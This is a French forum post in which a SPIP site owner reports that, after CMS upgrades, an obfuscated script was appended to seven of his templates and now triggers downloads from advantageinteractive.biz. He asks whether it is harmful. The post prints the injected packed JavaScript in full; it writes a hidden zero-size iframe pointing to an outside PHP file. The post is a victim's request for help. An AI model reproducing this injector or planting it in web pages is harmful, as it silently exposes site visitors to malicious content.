9
Indiquez l’intérêt que vous portez à cette question
0

SPIP appele advantageinteractive.biz !!

John Rose

Bonjour

J’ai deux sites qui fonctionnaient parfaitement pendant presque 2 ans sous SPIP 2.1.24 et PHP 5.4. Tout d’un coup les deux sites ont cessé de fonctionner, donnant comme erreur :

Parse error: syntax error, unexpected ''.replace(/^/,String)){while(c' (T_CONSTANT_ENCAPSED_STRING) in /homepages/26/d172847085/htdocs/ecrire/public/assembler.php on line 697

Ce problème correspondait à une ré-configuration des services PHP de l’hébergeur (1and1.fr).

J’ai migré les sites à SPIP 2.1.25, toujours sous PHP 5.4. Ils fonctionnaient parfaitement sous Windows (Firefox et IE), mais avec Firefox sous Ubuntu j’ai eu régulièrement une fenêtre pop-up qui disait :
"Vous avez choisi d’ouvrir : tag6.php qui est un fichier de type : script PHP(0 octets) à partir de : http://advantageinteractive.biz. Que doit faire Firefox avec ce fichier ?"

J’ai vu que dans 7 de mes squelettes le code suivant avait été introduit à la fin du fichier lors de la mise à jour de SPIP :

<tag5479347351></tag5479347351>
	<script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" f=\\"0\\" c=\\"d://h.j/m.l\\">";1 5="<9";1 8="n";1 4="e";1 a="</9";1 7="e>";3.2(5);b(3.2(8+4+k+a),6);b(3.2(4+7),6);',24,24,'|var|write|document|k02|k0|1000|k22|k01|if|k2|setTimeout|src|http||board|height|advantageinteractive|width|biz||php|tag6|ram'.split('|'),0,{}))</script>
<tag5479347352></tag5479347352>

Ce problème n’a pas disparu lors des mises à jour de plus vers SPIP 2.1.26 ou vers PHP 5.5. Il s’est produit aussi quand j’ai migré vers SPIP 2.1.25 un autre site tournant sous SPIP 2.1.24 dans l’environnement PHP 4.4.3-dev (chez un autre hébergeur).

Je peux réduire la nuisance du problème en spécifiant dans Firefox que les fichiers PHP doivent être automatiquement enregistrés, mais je me demande pourquoi SPIP fait appel à advantageinteractive.biz , et si cela pourrait être néfaste pour les utilisateurs ?

Merci et cordialement,
John ROSE